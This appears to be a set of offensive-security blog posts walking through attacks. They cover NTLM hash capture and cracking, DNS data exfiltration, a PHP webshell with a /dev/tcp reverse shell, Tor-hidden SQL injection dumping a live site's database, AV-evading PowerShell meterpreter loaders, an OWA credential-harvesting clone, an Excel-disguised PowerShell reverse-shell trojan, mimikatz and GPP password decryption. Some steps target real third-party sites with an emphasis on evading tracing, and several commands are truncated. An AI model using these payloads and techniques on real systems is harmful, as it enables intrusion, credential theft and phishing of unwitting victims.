Breaching a Windows environment by capturing and cracking NTLM challenge/response hashes

In this scenario we have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately escalate our privileges throughout the environment.

The tools we’ll be using are:

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.

This default behavior can be leveraged into a foothold for an attacker within the network. An attacker can impersonate the servers/services being requested by other workstations and convince the workstation to provide authentication information to it – instead of the actual server. Consider the following example:

  1. A workstation attempts to access the UNC path \\SERVER01, but mistakenly types in \\SRVER01.
  2. That workstation’s DNS server(s) responds to the query saying that it doesn’t know any host by that name.
  3. The workstation then query’s all other devices on the LAN asking if they know of the location of \\SRVER01
  4. An attacker responds to the workstation, informing it that it is SRVER01
  5. The workstation then goes through the typical challenge/response procedure to validate the domain user’s credentials. During this step, the attacker able to capture the domain user’s NTLMv2 hash.
  6. The attacker can now attempt to crack the hash to discover the domain user’s password in order to gain additional access to the environment.


To start, we need our Kali Linux box to exist on the same subnet as all the other workstations. After plugging into the network, can attempt to discover hosts on our subnet by looking at the IP address assigned to us via DHCP:


Using the above information, we can scan our subnet for workstations with the following command: nbtscan


This should give us enough information and insight about the network to fire up Responder and attempt to capture NTLM challenge/response hashes. If our nbtscan returned no (or limited) results, running Responder on that particular subnet would probably be ineffective.

Responder is a very powerful tool and it has the potential to break stuff on a network. I don’t plan to explain all of the capabilities and nuances of Responder – so use it at your own risk. An effective command for capturing hashes within a Windows network is: ./ -I eth0 -wrdfbF

After letting Responder run for a few minutes, we are able to capture the following Challenge/Response handshake hash when a host on the network attempts to access the below network resource:


We are then able to take this captured hash and feed it into John The Ripper and attempt to crack it against a dictionary file of known passwords. In this particular instance, we’re using the Rockyou file. This is seen below:


We can see  (above) that this particular domain user has a very weak password that was able to be cracked within 23 seconds. This was/is an actual domain user account within a production environment. With this information, we are now able to use other tools to enumerate where this user has privileges on the network and further escalate our privileges within the environment.

This topic will be covered in a future post.

Post Exploitation: DNS Data Exfiltration

If you have compromised a Linux webserver (for example) and wanted to exfiltrate data from said server, consider the below method using DNS requests:

First, before we begin, we need to have a place to send our the data that we need to exfil. For that, we’re using a public server running BIND.  If you need to snag a copy of BIND:

sudo apt install bind9

The service will probably start automagically after installation. Also, because our server is behind NAT, we had to setup a port forwarding rule back to our internal DNS server on port 53.

The goal is to exfil a below GIF image from our already compromised webserver:


First, we need to hex encode the image using the below command:

xxd -p linux.gif > linux.gif.hex


Now that the file is encoded (as seen above), we need make sure we’re able to capture the DNS requests on the receiving end.  On our DNS server, we can fire up a tcpdump probe:

sudo tcpdump -i eth0 -s0 -w capture1.pcap port 53


Back on our compromised host, we can begin to exil the file using the below command:

for b in `cat linux.gif.hex`; do dig $; done

The exfiltration process as seen on the compromised host:


On our DNS server, we can run the following command to make sure we have captured data:

tcpdump -n -r capture1.pcap | grep

This should output hundreds of lines of text that look similar to the below:


Before this information can be reverse the hex encoding, we first need to strip out everything from our PCAP file and return it back to the original hex file.  We can use the below one-liner to achieve this:

tcpdump -r capture1.pcap -n | grep | cut -f9 -d’ ‘ | cut -f1 -d’.’ | uniq > linux.gif.hex


Finally, we need to reverse the hex encoding to return our file to it’s original state:


After copying the file to /var/www/html/files, we can use our web browser to make sure the file has been returned to it’s original state and viewable:


Below is the Wireshark output that was captured on the compromised host side while the exfil was taking place:


PHP Backdoor + Reverse Shell on Vulnerable Website

The goal here is show one method for examining a public IP address to determine if it is running any vulnerable services that are exploitable.

Target IP: X.X.X.X (IP address purposely hidden)

First we have to do some basic discovery on our IP to determine what services are running. The nmap command used is: proxychains nmap <ip address> -v -Pn -sT -A


We can see that the target IP is listening on ports 22 (ssh) and 80 (web). For now, we’ll focus on port 80.

Next we scan the website using nikto, dirb, uniscan and w3af.  Nikto didn’t really turn up much, but dirb tells us that a folder exists called test. Uniscan also turned up some helpful info but each tool is different and useful in varying ways depending on what you’re trying to accomplish.  I recommend trying them all against your target.


Now that we have a know a bit more about our target, we can use curl to glean more useful information about the “test” folder:

proxychains curl -X OPTIONS -v http://X.X.X.X/test/


Based on the response of the OPTIONS verb on the /test directory, it looks like it has WebDAV enabled. Using “PUT” we may be able to upload a backdoor to this folder.

First, we need to create a new file on our box and add the following line:

<?php echo system($_GET[“cmd”]); ?>

Next, we attempt to upload our php backdoor to our target using the following command:

proxychains curl –upload-file /root/Desktop/cmd.php -v –url http://X.X.X.X/test/cmd.php -0 –http1.0


We can see that our backdoor was successfully uploaded.  Now, we can use our backdoor to (hopefully) run commands directly on the webserver.  For example, running the following command from a web browser will give us a directory listing:


Capture4Using curl, we could also upload a bash shell script and then use our backdoor to give us a reverse shell on the webserver. The script file contains the following code:

exec 5<>/dev/tcp/
cat <&5 | while read line; do $line 2>&5 >&5; done

Now we upload it:


Now on our public facing box, and before we can receive our shell, we need to setup a listener on port 443 using the following command:

nc -lvp 443


Then, at the website, we can now run our script via our backdoor:


We should now have our reverse bash shell, as seen below:



Finding & Exploiting SQL Injection Vulnerabilities

The objective of this post is to show how one might go about identifying a SQL injection vulnerability on a website and then exploiting that vulnerability by obtaining any sensitive information contained within the database.

First, we need to have a target.  In our case, we’re going to obfuscate the domain name of our target because it’s an actual working, live site with SQL injection vulnerabilities and they take credit information (ouch).  Obviously this is not good – so we don’t want to put them on blast.

Once we have a target domain, we need to think about our approach. First and foremost, before we can exploit a SQL injection vulnerability, we need to find one. There are a number of ways to hunt for them, but we’re going to use OWASP Zed Attack Proxy (ZAP) to help with automating discovery. ZAP may not be as robust as Burp Suite but it’s easy to use and what we’ve chosen. In the interest of ensuring our testing is not traced back to us, we’ve launched ZAP using the following commands:

service tor start
service tor status
root@kali:/usr/share/zaproxy# java -DsocksProxyHost= -DsocksProxyPort=9050 -jar zap-2.4.1.jar

We begin by plugging in our target domain name (as seen below) and clicking “Attack”.


The length of time it takes to fully scan a domain depends on a number of factors.  As ZAP finds vulnerabilities, they’ll be listed in the “Alerts” tab:


As you can see, ZAP has found a number of possible of areas within the site that are susceptible to SQL injection. ZAP is not really capable of exploiting any vulnerabilities that it discovers, so we need to another tool.  In this case, we’ve chosen sqlmap. Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

As mentinoed above, we want to ensure that our work is not traced back to us.  For this reason, we’re going to proxy our connections with switches built into sqlmap.  The full command we want to run is this:

sqlmap –tor –tor-type=SOCKS5 –check-tor –random-agent –dbs –dump -u


The following output from sqlmap indicates injection point vulnerabilities:



While some tables from the database contains non-sensitive information (like the one above), others contain very sensitive information:


We also obtained a list of usernames and password hashes when we dumped their databases…which could probably be cracked with minimal effort.


Happy Hacking!

DNS Recon Techniques

When doing recon on a target, it’s important to spend some quality time looking at your target’s public DNS. There is lots of valuable information that can be gleaned from subdomain public DNS records.  For example, many companies will utilize, which is an entry point into the network that may be able to be exploited.  Another good one is  Ideally, you want to identify as many entry points into the network and begin to perform nmap scans to locate potentially vulnerable services being exposed to the Internet.

However, as you can imagine, it doesn’t make much sense to manually query all of the possibilities – so that leaves us with a couple of options.  One option is to attempt a zone transfer from the domain’s name servers. When taking this approach (which probably won’t work), we usually start by performing a simple “whois” on the target’s domain.  For example:


With this scenario, based on the above whois, we know that Monsanto (our victim)’s name servers are:

To attempt a zone transfer against a particular name server, we can issue the following command:

dig axfr


As suspected, it failed.  However, there are actually a high number of misconfigured/poorly configured public DNS servers which allows for a zone transfer. If you can find a target that allows a zone transfer, it negates the need for option 2 because there would be no need to bruteforce subdomains. For testing purposes, allows zone transfers.

Option 2 is used to automate the guessing of our target’s subdomains by using a tool to bruteforce query their public name servers for responses against a wordlist.  A great tool for this is Fierce. Basically, you feed Fierce a wordlist of  likely subdomains and it will automatic the work of performing all of the queries so that we don’t have to do it manually.  The key here is having good wordlists.  The better the wordlists, the better information we have on our target, which increases the likelihood of finding an entry point into the network with a vulnerable service to exploit.

The command we want to use for Fierce is:

phython3 –domain –subdomain-file ./lists/sub_domain_list1.txt

With a domain like, there are a lot or results and it’s not practical to post every listed subdomain; however, below is a very small portion of the results:


Upon further review, we discover that takes us to an Apache landing page. While this is not indicative of a problem, it’s certainly interesting and probably worth looking into – along with a hundred other sites like, which lands us at an IIS default page.



Anonymizing Recon Using Tor & Proxychains

Whenever we send a packet to our intended target, that packet contains information about network (like our public IP address) – which can ultimately then be traced back to us.  In the interest of remaining anonymous, our goal here is to perform recon on a public network (using something like NMAP) with the least risk of our work being traced back to us.

To achieve this, we need two tools: Tor and proxychains.  ProxyChains allows us to pipe TCP connections through a proxy, or a chain of multiple proxies, effectively masquerading our public IP address.

We can download our tools using the commands below:

apt-get install tor
apt-get install proxychains
apt-get install nmap (if you don’t already have it)

Before we get started, we want to make sure we don’t accidentally disclose our public IP to our victim by running the following command. Replace the below IP address with your target victim.

sudo iptables -A OUTPUT –dest -j DROP

Once we do that, we can see what happens when we try to send packets to that IP address.

Prior to using Tor and ProxyChains, we should (always) determine/check what our public IP address is:


Next we need to get the Tor service running. We can run the following commands:

service tor start
service tor status


With Tor running, we can now use ProxyChains to mask our public IP address by running the following command:

proxychains curl


We are now ready to do some NMAP scanning on our victim. This can be done using the following command:

proxychains nmap -Pn -sV -sT -v -p 80,443


Since we have access to the victim box, let’see what a tcpdump looks like while the NMAP scan is in progress:


If we curl using ProxyChains, we can also see that Apache logs (on the victim box) also show as coming from our new IP address on the Tor network:





Evading Antivirus + Reverse Meterpreter Shell

The below steps can help us evade antivirus software on the victim’s Windows box as we setup a meterpreter shell back to our server across the Internet.  This technique works extremely well because nothing is downloaded to the victim’s computer and uses only Powershell on the victim’s machine.

The most difficult part is executing the Powershell code (seen below) on the victim’s computer but a good tactic to consider would be to embed the code into a macro enabled Excel document (if you don’t have internal access) or injecting a malicious executable into the victim’s packet stream after a MitM type attack on the LAN (mitmproxy, back door factory, etc). Obviously, there are lots of methods for delivering the payload, which are not covered here.

On our Internet facing Ubuntu box (with Metasploit installed), we run the following command:

./msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST; set PORT 8443; run”

This will one-liner will fire up Metasploit while also setting up the multi handler we need to catch the meterpreter payload coming from the victim. We also need to make sure we have port 8443 (in this example) forwarded to our box.



The code to run on the victim’s PC is below.  In this example, I’ve opened a command prompt window and pasted in the necessary code:

powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘ ‘);invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.37.4X.XXX -Lport 8443″

The below Powershell command will use Powershell to download and execute Invoke-Shellcode all within memory with no files being written to disk.  This is how we are able to evade most antivirus software.


We see on our Metasploit box that we now have an incoming connection and that we’re easily able to obtain our shell:



OWA Website Clone + Credential Grabbing

The purpose of this post is show the necessary steps for cloning an Outlook Web Access (OWA) website and then modifying the cloned website’s code so that the inputted credentials are captured and written to a file when someone attempts to log in. A cloned OWA portal is a good method for obtaining the first set of user login credentials to a network…since the OWA creds will be the same creds needed to login to the Windows network. Once you gain credentials, you may be able to gain access to the internal LAN via Active Directory integrated VPN access, wireless access if WPA2 Enterprise is used, etc.

Before I get started, I need to a place to host the site that I want to clone.  For this example, I’m using an AWS Ubuntu server, running Apache Web Server. Installing Apache is not covered here but the below command will get you most of the way there:

apt-get install apache2 apache2-doc apache2-utils

Once Apache is installed, I need to install httrack. This tool will be used for copying/clone the site. Install by running the below command:

apt-get install httrack

Once httrack is installed, I can clone the site.  For this example, I googled and found and chose a randomly publicly accessible 2013 OWA site at


Before cloning the site, you’ll need to create a place to store it.  I’ve created a new folder named “owa-2013”.  Run the following command:

httrack  -O “/var/www/html/owa-2013/”  -%v -%f


Httrack inserts advertising junk into index.html. To eliminate the advertising that comes with using httrack, run the following commands:


The above commands basically just move logon5b91.html to the root of owa-2013 and renames that file to index.html so that it’s loaded when you visit the URL/owa-2013.

Since I’m doing this example at AWS, I need to create a couple of rules that allow incoming http and https traffic on ports 443 and 80 to my server.


I should now be able to visit the cloned site by visiting the Public IP address of my AWS server/owa-2013.  Since I have domain registered that points to my AWS Public IP, I can browse to to view the cloned site. Note: I’ve setup a certificate on the domain to eliminate the security warning.  In order to purchase/setup a certificate, you’ll need to configure https for Apache and register a domain name. Alternatively, you can also host an encrypted version of the site (http), which eliminates the need for a certificate.


Now that I’ve confirmed that the site is publicly visible, I need to rework the source code so that credentials are captured when someone enters them at the website. First, I need to create a PHP file called post.php in /var/www/html/owa-2013 that contains the below code:

<?php $file = ‘creds.txt’;file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv=”refresh” content=”0; url=”>

Credentials will be written on POST (when the user clicks “sign in”) to the file named creds.txt. After that, the site visitor will be redirected to the actual OWA site that I cloned.  This is important in order to eliminate suspicion.

Now I must modify index.html. Find the line that looks like this:


And replace it with:


Once completed, credentials should be written to creds.txt when someone attempts to login.


When doing something like this on an pentest engagement, consider registering a domain name that is very similar to the organization’s domain name.  For example, if their domain name was, you could register in hopes that the target(s) wouldn’t notice the difference.

How to trick someone into viewing the cloned site is not covered here but consider an social engineering email campaign.

Netcat Reverse Powershell Shell Across The Internet + Privilege Escalation

Outlined below is a technique for building and delivering a trojan to a victim in hopes that he or she will run the infected file and ultimately give us a reverse shell across the Internet.  There are lots of ways to deliver a payload and we’ve chosen to use email as the delivery method in this example.

For this POC, we have a Ubuntu server hosted at AWS.  This server will be hosting the malicious file and running the netcat listener. We have already installed apache and the installation/config is not covered here (sorry).

To start, we need to setup a port forwarding rule in the AWS console for all inbound TCP traffic coming in to our VM on port 31337.


We now need to take our Powershell code and compile it as an executable.   The code is  below.  When executed, it should connect back to our AWS instance’s public IP on port 31337 and give us our reverse shell. When run, it should also open Excel on the victim’s computer.

Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int
state);’ -Namespace native
[]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“AWS_Public_IP_Goes_Here”,31337);$stream = $client.GetStream();[byte[]]$bytes =
0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +
“PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,

We used PowerGUI Script Editor for compiling and also for setting the .ico file to be the default that you’d normally see used when opening .xlsx (Excel) documents.


The malicious file is now ready to be uploaded to our Ubuntu server.  We used SCP to deliver the file to /var/www/html/files:


Once that is complete, we need to  setup a netcat listener on the same port as above (31337):


Now it’s time to deliver the file. We have other posts on how to spoof emails and reply-to headers, and it’s assumed there is familiarity with the social engineering aspect of sending convincing emails. If you use an email client like Outlook (for example), you can take advantage of it’s HTML capabilities as depicted below.


When the recipient receives the email, it should/could look similar to the below.


When viewed in Windows Explorer, depending on settings the malicious file could/should look something like the below.  The “giveaway” is that the file is listed as an “application” in the “type” column; however, the hope is that the icon and lack of file extension will make this file look like a regular Excel file enough to get the victim to click on it.


When the file is executed, it should (hopefully) create a reverse shell back to the AWS instance.  If we switch back to our Ubuntu box, we should see an incoming connection from the victim’s network.


From here, to obtain our shell, just type something/anything (like the word “shell”) or press enter a couple of times. (see below):



With our new Powershell shell, we can execute any commands that one would/could normally run from a Powershell prompt.


During a pentest engagement the goal is usually privilege escalation.  With our shiny new shell, we can issue the below command and see that our target is also a local administrator on their box.


Despite our shell running as a user with limited privileges, we now know that our victim has the ability to run commands in an escalated fashion. For example, we may choose to leverage their access to attempt to dump passwords from memory:



The above command will download mimikatz and run it in memory so that it can function without being detected by AV.  It will also run as a local administrator (which is required) and dump all of the output into a text file of our choosing.


Using the “type” command, we can view the file’s contents and see that we’ve successfully dumped passwords from memory.



Active Directory & Group Policy Privilege Escalation Vulnerability

So you’ve had a successful phishing trip and obtained a shell on a target machine that is joined up a Windows domain. Obviously, the goal is escalate privileges and pivot across the network…which is easier said than done.  This is just one technique (of many) to consider employing on your travels.

We can see below that the target computer’ s domain controller is CN-DC04.


We should now map a drive to the sysvol share on the DC.


We are ultimately trying to find groups.xml, which can be done by using the command below:


Once found, we want to identify the one with the most recent date.


Once we’ve found the file we want, we need to enter the below command: Type groups.xml

Inside this file, if we’re lucky, we’ll be able to determine the name of a local administrator account (redacted in the picture below) and also an encrypted password (in the red box, but also redacted).


Using a tool like gpp-decrypt in Kali Linux, we can easily determine the password.


In a nutshell, organizations should not use Group Policy Preferences to manage local administrator passwords for domain computers.  Instead they should use something like Microsoft LAPS, which is significantly more secure. In addition, Microsoft LAPS will ensure that all of the local administrator passwords are changed on a regular basis AND also randomized on each domain joined machine.  Those credentials are then stored in Active Directory.